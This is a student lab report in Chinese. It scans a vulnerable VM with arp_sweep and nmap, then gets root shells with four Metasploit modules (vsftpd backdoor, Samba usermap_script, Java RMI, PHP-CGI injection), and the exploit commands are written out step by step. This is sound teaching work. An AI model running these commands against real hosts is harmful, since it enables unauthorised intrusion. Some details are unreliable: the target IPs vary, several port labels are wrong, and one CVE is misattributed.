1.实验内容
1.1靶机探测:主机、端口及漏洞扫描
通过Metasploit的Aux模块中arp_sweep工具完成主机发现;端口扫描可选用nmap工具,或Metasploit的Aux模块中portscan/tcp等工具;可选对靶机系统版本及漏洞信息进行扫描。
1.2 漏洞渗透:掌握Metasploit用法
通过对以下四个漏洞的渗透攻击,掌握Metasploit的使用方法
- Vsftpd源码包后门漏洞(21端口);
- Samba MS-RPC Shell命令注入漏洞(139端口);
- Java RMI SERVER命令执行漏洞(1099端口);
- PHP CGI参数执行注入漏洞(80端口)。
2.实验过程
2.1前期渗透
靶机 ip:192.168.81.150
攻击机 ip:192.168.81.132
2.1.1主机发现(可用Aux中的arp_sweep,search一下就可以use)
启动Metasploit框架,使用ARP扫描模块arp_sweep,并配置参数,所输入的具体命令如下:
msfconsole#打开Metasploit
search arp_sweep#搜索ARP扫描相关辅助模块
use 0#使用搜索结果中的第一个模块
set RHOSTS 192.168.81.0/24#扫描虚拟机所在的网段
run#开始扫描

从扫描结果来看,靶机处于在线状态,且标识为VMware, Inc.,是一台VMware虚拟机。
2.1.2端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
1.使用nmap进行端口扫描
在kali中输入
nmap -sS -sV 192.168.81.150、

Nmap 扫描出多个开放端口及对应服务版本,以下是关键服务:
- 21/tcp:FTP 服务,版本为vsftpd 2.3.4(该版本存在已知漏洞)
- 22/tcp:SSH 服务,版本为OpenSSH 4.7p1 Debian 8ubuntu1
- 23/tcp:Telnet 服务,属于Linux telnetd
- 80/tcp:HTTP 服务,版本为Apache httpd 2.2.8 ((Ubuntu) DAV/2)
- 3306/tcp:MySQL 数据库,版本为MySQL 5.0.51a-3ubuntu5
- 5432/tcp:PostgreSQL 数据库,版本为PostgreSQL DB 8.3.0 - 8.3.7
- 8080/tcp:HTTP 服务(Tomcat),版本为Apache Jserv (Protocol v1.3) / Apache Tomcat/Coyote JSP engine 1.1
操作系统:
- Service Info显示为Unix, Linux,结合 CPE 标识cpe:/o:linux:linux_kernel,确认是 Linux 系统。
2.使用Metasploit的portscan/tcp模块
msfconsole
use auxiliary/scanner/portscan/tcp#TCP端口扫描模块
set RHOSTS 192.168.81.150#设置目的IP
set THREADS 10#并发线程,提升扫描速度
run

从图中可以看出靶机开放的多个端口
2.1.2选做:也可以扫系统版本、漏洞等
在kali中输入nmap -script=vuln 192.168.81.150
--script 是调用Nmap脚本引擎的参数,用于执行Nmap自带的脚本,这些脚本可实现漏洞检测、服务识别、信息收集等功能。
vuln是一个脚本类别,包含了所有与漏洞检测相关的 NSE 脚本,比如检测服务是否存在已知漏洞、配置缺陷、默认凭证等问题。
21vsFTPd 2.3.4 后门漏洞

- 服务与版本:21/tcp 端口开放 FTP 服务,使用的是vsftpd 2.3.4版本。
- 漏洞类型:存在后门漏洞,对应 CVE 编号CVE-2011-2523,BID 编号48539。
- 可利用性:状态为VULNERABLE (Exploitable),即可被利用。
- 该漏洞是vsftpd 2.3.4版本被植入的恶意后门,攻击者可通过特定操作(如在 FTP 用户名中注入特殊字符 “😃”)触发后门,直接获取root 权限。
25


- SSL POODLE 信息泄露漏洞
- 原理:SSL协议3.0 版本在 OpenSSL 等产品中使用非确定性 CBC 填充机制,中间人攻击者可通过 “填充预言机攻击” 获取明文数据。
- 状态:VULNERABLE(存在漏洞)
- 匿名 Diffie-Hellman(DH)密钥交换 MITM 漏洞
- 原理:TLS 服务使用匿名 DH 密钥交换时,缺乏身份验证环节,中间人可完全篡改通信内容。
- 状态:VULNERABLE(存在漏洞)
- TLS DHE_EXPORT 密码套件降级 MITM 漏洞(Logjam,CVE-2015-4000)
- 原理:TLS 处理DHE_EXPORT密码套件时存在缺陷,中间人可将 TLS 会话降级为 512 位出口级弱加密,从而轻易破解通信。
- 状态:VULNERABLE(存在漏洞)
- Diffie-Hellman 密钥交换组强度不足漏洞
- 原理:使用弱 DH 组(如 Group 1),密钥长度和强度不足,易被被动窃听攻击暴力破解。
- 状态:VULNERABLE(存在漏洞)
这些漏洞均属于TLS/SSL 协议层的设计或实现缺陷,集中威胁 SMTP 服务的通信安全
80Web 服务的应用层漏洞

- Slowloris 拒绝服务漏洞(CVE-2007-6750)
- 服务与版本:80/tcp 端口开放 HTTP 服务,漏洞类型为拒绝服务(DoS)漏洞,对应 CVE 编号CVE-2007-6750。
- Slowloris 通过保持大量 “半开” HTTP 连接(发送部分请求并长期维持连接),持续消耗 Web 服务器资源,最终导致服务器因资源耗尽而拒绝服务,合法用户的 HTTP 请求将无法正常响应。
- HTTP TRACE 方法启用漏洞
- 服务与版本:80/tcp 端口的 HTTP 服务,漏洞类型为 HTTP TRACE 方法启用。
- 风险特性:该方法若被滥用,可辅助跨站跟踪(XST)攻击。
- 攻击者可利用 TRACE 方法窃取客户端与服务器之间的通信头信息(如 Cookie),为后续的跨站脚本(XSS)等攻击提供助力,进一步突破 Web 应用的身份认证边界。
- 跨站请求伪造(CSRF)漏洞
- 涉及服务:80/tcp 的 HTTP 服务,涉及应用包括DVWA、Mutillidae等 Web 应用。
- 受影响路径:
http://192.168.179.142:80/dvwa/(登录页login.php)
Mutillidae的注册页、用户信息页、登录页、投票页等多个路径(如index.php?page=register.php、?page=user-info.php等)。 - 攻击者可诱导用户执行非预期操作(如修改密码、提交恶意请求),突破用户身份认证的边界,在用户不知情的情况下以其身份执行敏感操作。
- SQL 注入漏洞
- 涉及服务:80/tcp 的 HTTP 服务,涉及应用为Mutillidae,受影响路径为index.php?page=framing.php。
- 漏洞类型:SQL 注入漏洞。
- 攻击者可构造恶意 SQL 语句,窃取数据库数据、篡改内容,甚至通过 SQL 注入进一步获取服务器的系统权限,完全控制目标主机。
1099Java RMI 远程代码执行漏洞

- 服务与端口:1099/tcp 端口开放rmiregistry服务。
- 漏洞类型:RMI 注册表默认配置缺陷导致的远程代码执行漏洞,状态为VULNERABLE。
- RMI 注册表默认允许从远程 URL 加载类,攻击者可利用这一特性,通过构造恶意类的远程加载逻辑,在目标主机上执行任意代码,从而完全控制服务器,属于高危漏洞。
- 可通过 Metasploit 框架的java_rmi_server模块(参考链接指向该模块源码)直接利用该漏洞,适合用于渗透测试中对 Java RMI 服务的攻击演练。
5432 PostgreSQL 数据库的加密漏洞

- Diffie-Hellman 密钥交换组强度不足漏洞
- 涉及服务:5432/tcp 端口的 PostgreSQL 服务(TLS 层)。
- 漏洞原理:使用强度不足的 Diffie-Hellman(DH)组(如 Weak DH Group 1),密钥长度和安全性不足,易被被动窃听攻击破解。
- 危害:TLS 通信的加密强度被削弱,攻击者可通过被动监听破解密钥,获取 PostgreSQL 数据库的敏感通信数据(如认证信息、查询内容)。
- SSL/TLS MITM 漏洞(CCS 注入,CVE-2014-3566)
- 涉及服务:5432/tcp 端口的 PostgreSQL 服务(SSL/TLS 层)。
- 漏洞原理:OpenSSL 处理 “ChangeCipherSpec” 消息时存在缺陷,中间人可触发零长度主密钥,劫持 TLS 会话或窃取敏感信息。
- 危害:风险等级高,攻击者可主动篡改或窃取 PostgreSQL 的加密通信,完全破坏数据的保密性和完整性。
6667 IRC后门与Web管理界面问题

对于6667端口的IRC服务存在UnrealIRCd后门。该漏洞使得攻击者可以直接获取系统权限。
2.2Vsftpd源码包后门漏洞(21端口)
1.扫描端口是否开放及运行服务
在kali中输入命令
nmap -sV -p 21 192.168.81.150扫描靶机的21端口

该端口开放,且运行的是vsftpd 2.3.4。
2.使用Metasploit框架利用vsftpd 2.3.4版本后门漏洞
在kali中输入以下命令:
msfconsole
search vsftpd搜索vsftpd 2.3.4漏洞模块
use exploit/unix/ftp/vsftpd_234_backdoor加载模块
set RHOST 192.168.81.150
run

3.执行攻击
成功获取了root权限的shell,执行以下命令

2.3SambaMS-RPC Shell命令注入漏洞(端口139)
1.扫描端口是否开放及运行服务
在kali中输入命令
nmap -sV -p 139 192.168.81.150扫描靶机的139端口

靶机192.168.222.140的139端口开放,有运行NetBIOS相关服务
2.使用Metasploit框架利用Samba服务的usermap_script漏洞
在kali中输入以下命令:
msfconsole
use exploit/multi/samba/usermap_script加载模块
set RHOST 192.168.81.150
run

3.执行攻击
成功获取了root权限的shell,执行以下命令

2.4Java RMI SERVER命令执行漏洞(1099端口)
1.扫描端口是否开放及运行服务
在kali中输入命令
nmap -sV -p 1099 192.168.81.150扫描靶机的139端口

靶机192.168.222.140的1099端口运行开放rmiregistry服务,可以利用Java RMI相关漏洞进行进一步渗透。
2.使用Metasploit框架利用Java RMI服务的远程代码执行漏洞
在kali中输入以下命令:
msfconsole
use exploit/multi/misc/java_rmi_server加载模块
set RHOST 192.168.81.150
run

3.执行攻击
成功获取了root权限的shell,执行以下命令

2.5PHP CGI参数执行注入漏洞(80端口)
1.扫描端口是否开放及运行服务
在kali中输入命令
nmap -sV -p 80 192.168.81.150扫描靶机的139端口

靶机 192.168.222.140 的 HTTP 服务(80端口)处于开放状态,可继续进行漏洞利用测试。
2.使用Metasploit框架利用PHP-CGI的参数注入漏洞
在kali中输入以下命令:
msfconsole
use exploit/multi/http/php_cgi_arg_injection加载模块
set RHOST 192.168.81.150
run

3.执行攻击
成功获取了root权限的shell,执行以下命令

3.学习感悟、思考等
本次实验较为简单,我学会了用 MSF工具利用漏洞,一步步拿到靶机权限。
参考资料
- 20232304 2025-2026-1 《网络与系统攻防技术》实验六实验报告